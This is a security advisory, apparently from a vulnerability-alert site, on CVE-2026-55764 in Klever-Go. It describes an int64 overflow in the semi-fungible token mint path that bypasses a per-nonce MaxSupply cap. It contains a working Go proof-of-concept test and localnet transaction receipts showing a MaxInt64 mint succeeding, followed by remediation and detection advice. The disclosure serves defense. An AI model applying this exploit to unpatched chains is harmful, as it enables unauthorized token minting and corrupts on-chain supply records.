CVE-2026-55764: Klever-Go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply

Published Aug 28, 2026
·
Updated

Summary On the SFT add-quantity path the only supply bound is SFTAddCirculation, which does meta.Circulation += amount with no overflow guard, then checks if meta.Circulation > meta.MaxSupply && meta.MaxSupply != 0. If amount overflows int64 and wraps negative, negative > MaxSupply is false, the cap check passes, the function returns nil, and the balance credit stands. A nonce created with a finite MaxSupply (e.g. 1000) can thus be minted to ~MaxInt64 tokens in one transaction. The fungible mint path is not vulnerable — it has a post-increment MintedValue <= 0 guard that the SFT path lacks.

Affected code - core/kapp/systemAccount/systemAcount.go:132-138 (SFTAddCirculation, the unguarded +=). - Caller: core/kapp/kda/mint.go:247-283 (processSemiFungibleAddQuantity); contrast guard mint.go:289.

Impact A mint-role holder mints ~9.2e18 units of a nonce whose declared MaxSupply is small, with no authorized debit, and corrupts the on-chain Circulation counter to a negative value (misleading any market/indexer that reads it).

Reachability Mint-role holder (asset owner or an address granted the role). The mint Amount is a raw int64 from the contract with no upstream upper bound.

Proof of concept

Unit test TestExploitSFTCirculationOverflowBypassesCap creates a nonce capped at MaxSupply = 1000, seeds Circulation = 5, then calls SFTAddCirculation(MaxInt64). The call returns nil (cap bypassed) and Circulation wraps to -9223372036854775804; a normal over-cap amount (2000) is correctly rejected with ErrMaxSupplyExceeded and does not persist — isolating the unguarded += overflow as the bypass.

<details><summary>Full Go PoC (<code>systemAccount</code> package, passes = bug confirmed)</summary>

go package systemAccount

import ( "math" "testing"

"github.com/klever-io/klever-go/common" commonMock "github.com/klever-io/klever-go/common/mock" "github.com/klever-io/klever-go/data/state" "github.com/klever-io/klever-go/kapps" "github.com/klever-io/klever-go/tools/marshal" "github.com/stretchr/testify/require" )

func newExploitSystemAccountKApp(t testing.T) (systemAccountKApp, map[string][]byte) { t.Helper()

marshalizer := &marshal.ProtoMarshalizer{} store := make(map[string][]byte)

tracker := &commonMock.DataTrieTrackerStub{ RetrieveValueCalled: func(key []byte) ([]byte, error) { return store[string(key)], nil }, SaveKeyValueCalled: func(key []byte, value []byte) error { store[string(key)] = value return nil }, }

kappAccount := &commonMock.KAppAccountHandlerStub{ DataTrieTrackerCalled: func() state.DataTrieTracker { return tracker }, }

s := &systemAccountKApp{marshalizer: marshalizer} require.NoError(t, s.SetAccountsCacher(&commonMock.AccountsCacherStub{ LoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) { return kappAccount, nil }, }))

return s, store }

func readMeta(t testing.T, s systemAccountKApp, asset, nonce []byte) kapps.MetaV2 { t.Helper() meta, err := s.SFTGetMeta(asset, nonce) require.NoError(t, err) require.NotNil(t, meta) return meta }

// TestExploitSFTCirculationOverflowBypassesCap proves that SFTAddCirculation // (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded // meta.Circulation += amount. With an amount near MaxInt64, Circulation // overflows int64 and wraps negative, so the signed cap check // meta.Circulation > meta.MaxSupply reads false and the function returns nil: // the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far // past the declared cap. func TestExploitSFTCirculationOverflowBypassesCap(t testing.T) { asset := []byte("SFTASSET") nonce := []byte{0x01}

const maxSupply = int64(1000) const startCirculation = int64(5) // amount is a raw int64 from the contract with no upstream upper bound; the // largest value it can carry is MaxInt64. With Circulation already at 5, // 5 + MaxInt64 overflows int64 and wraps negative. const overflowAmount = int64(math.MaxInt64) // 9223372036854775807

// --- setup: a nonce with a small FINITE MaxSupply and small Circulation --- s, := newExploitSystemAccountKApp(t)

require.NoError(t, s.SFTCreateMeta(asset, nonce, maxSupply, []byte("hash"))) // seed an initial circulation of 5 (well within the cap) require.NoError(t, s.SFTAddCirculation(asset, nonce, startCirculation))

before := readMeta(t, s, asset, nonce) require.Equal(t, maxSupply, before.MaxSupply) require.Equal(t, startCirculation, before.Circulation) t.Logf("BEFORE exploit: MaxSupply=%d Circulation=%d", before.MaxSupply, before.Circulation)

// --- contrast: a normal over-cap amount IS correctly rejected --- // 5 + 2000 = 2005 > 1000, no overflow -> ErrMaxSupplyExceeded. contrastErr := s.SFTAddCirculation(asset, nonce, 2000) require.ErrorIs(t, contrastErr, common.ErrMaxSupplyExceeded, "a non-overflowing over-cap mint must be rejected") // the rejected call must NOT have persisted (Circulation unchanged at 5) afterContrast := readMeta(t, s, asset, nonce) require.Equal(t, startCirculation, afterContrast.Circulation, "rejected over-cap mint must not persist new circulation") t.Logf("CONTRAST mint amount=2000 (5+2000=2005 > cap 1000) -> err=%v, Circulation stays %d", contrastErr, afterContrast.Circulation)

// --- the exploit: amount near MaxInt64 overflows Circulation negative --- exploitErr := s.SFTAddCirculation(asset, nonce, overflowAmount)

after := readMeta(t, s, asset, nonce) t.Logf("EXPLOIT mint amount=%d (~MaxInt64), MaxSupply=%d", overflowAmount, after.MaxSupply) t.Logf("AFTER exploit: Circulation=%d err=%v", after.Circulation, exploitErr)

// (1) the cap was BYPASSED: SFTAddCirculation returned nil, no ErrMaxSupplyExceeded require.NoError(t, exploitErr, "BUG: overflowing mint should have been capped but returned nil (cap bypassed)")

// (2) Circulation wrapped NEGATIVE: minted far past the declared cap of 1000 require.Negative(t, after.Circulation, "BUG: Circulation must have overflowed to a negative value")

// sanity: the wrap is exactly the int64 two's-complement of 5 + overflowAmount. // Computed via non-constant vars so the deliberate overflow happens at runtime // (a constant expression would be rejected by the compiler). circ := startCirculation amt := overflowAmount expectedWrap := circ + amt // intentional int64 overflow at runtime require.Equal(t, expectedWrap, after.Circulation)

t.Logf("CONFIRMED: nonce capped at %d now reports Circulation=%d (negative); "+ "a real mint would have credited ~%d tokens with no matching debit.", maxSupply, after.Circulation, overflowAmount) } </details>

On-chain reproduction (live single-node localnet) SFT F05-2SDF was created with nonce 1 capped at MaxSupply = 1000 (the setup mint of amount = 1 succeeds normally). An AssetTrigger Mint of amount = 9223372036854775807 (MaxInt64) for F05-2SDF/1, sent to a fresh receiver, returned resultCode Ok with a Transfer receipt minting MaxInt64 from the protocol mint address — no MaxSupplyExceeded, despite the declared cap of 1000. (Sending the same amount to an account that already held nonce-1 units instead trips the balance overflow guard with RC 37, confirming the unguarded counter is specifically SFTAddCirculation, reached only when the receiver's balance add does not itself overflow.)

<details><summary>Setup mint — nonce 1 minted normally with <code>amount=1</code> (hash <code>21e8059e…b55aad1a</code>)</summary>

json { "hash": "21e8059e50ffb5534a02f0f78e12db4632740d8d82da144d1f3732b4b55aad1a", "blockNum": 463, "status": "success", "resultCode": "Ok", "chainID": "420420", "receipts": [ { "assetId": "F05-2SDF/1", "assetType": "SemiFungible", "from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z", "to": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq", "type": 0, "typeString": "Transfer", "value": 1 } ], "contract": [ { "type": 11, "typeString": "AssetTriggerContractType", "parameter": { "triggerType": "Mint", "assetId": "F05-2SDF", "toAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq", "amount": 1 } } ] } </details>

<details><summary>Exploit — <code>MaxInt64</code> add-quantity to a fresh receiver, result <code>Ok</code>, cap 1000 bypassed (hash <code>8aff40fa…2e1c981e</code>)</summary>

json { "hash": "8aff40fa270905516cad82083e7eae6264e63a6874f8c13d8348c3632e1c981e", "blockNum": 484, "status": "success", "resultCode": "Ok", "chainID": "420420", "receipts": [ { "assetId": "F05-2SDF/1", "assetType": "SemiFungible", "from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z", "to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm", "type": 0, "typeString": "Transfer", "value": 9223372036854775807 } ], "contract": [ { "type": 11, "typeString": "AssetTriggerContractType", "parameter": { "triggerType": "Mint", "assetId": "F05-2SDF/1", "toAddress": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm", "amount": 9223372036854775807 } } ] } </details>

Remediation 1. In SFTAddCirculation, add a post-increment overflow guard before the cap check (e.g. if meta.Circulation < 0 { return ErrSupplyNotValid }, matching the fungible MintedValue <= 0 pattern), or check amount against MaxSupply - Circulation with overflow-safe arithmetic. 2. Consensus-affecting → gate behind the next activation flag.

Other sources

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, Klever-Go allows a mint-role holder to bypass a finite per-nonce MaxSupply on the semi-fungible token add-quantity path. In core/kapp/systemAccount/systemAcount.go, SFTAddCirculation performed meta.Circulation += amount before evaluating whether Circulation exceeded MaxSupply, without checking for signed int64 overflow. A large positive raw Amount supplied through processSemiFungibleAddQuantity in core/kapp/kda/mint.go can wrap Circulation negative, causing the signed maximum-supply comparison to pass and crediting approximately MaxInt64 units while corrupting the on-chain counter. The fungible path is not affected because its MintedValue <= 0 guard detects the overflow. The correction uses the consensus activation flag FixMarketBuyOverflow. This issue is fixed in version 1.7.19.

MITRE

Affected Software

1 affected componentFixes available
go/github.com/klever-io/klever-go<1.7.19
1.7.19

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/klever-io/klever-go to a version that resolves this vulnerability.

    Fixed in 1.7.19
  2. Upgrade

    Upgrade Klever-Go to a version that resolves this vulnerability.

    Fixed in 1.7.19
  3. Configuration

    Enable/activate the consensus activation flag FixMarketBuyOverflow to apply the correction for the SFT add-quantity int64 overflow/cap bypass.

    Klever-Go market buy overflow handling consensus activation flag FixMarketBuyOverflow = enabled/activated
  4. Operational

    After upgrading to version 1.7.19 (and activating FixMarketBuyOverflow), re-validate affected nonces where SFT circulation may have wrapped negative, and reconcile any incorrect credited supply/counters derived from the corrupted on-chain Circulation value.

Event History

Aug 28, 2026
CVE Published
via MITRE·10:08 PM
Data Sourced
via MITRE·10:08 PM
DescriptionWeakness
Advisory Published
via GitHub·10:08 PM
Data Sourced
via GitHub·10:08 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Who can exploit this issue?

An attacker needs the mint role for the affected SFT nonce. This can be the asset owner or another address that has been granted that role.

2

Which assets are affected?

The issue affects semi-fungible token nonces with a finite declared MaxSupply. The fungible mint path is not affected because it includes a post-increment overflow guard that the SFT path lacks.

3

What conditions are required to bypass the supply cap?

The mint-role holder must submit an add-quantity amount that causes the signed int64 circulation value to overflow and wrap negative. The raw mint Amount accepts the necessary value, allowing the resulting negative circulation value to pass the MaxSupply comparison.

4

How can I identify possible exploitation?

Inspect SFT nonces with finite MaxSupply for a negative on-chain Circulation counter and for balances approaching MaxInt64 despite a small declared maximum supply. Such a state indicates the cap may have been bypassed.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203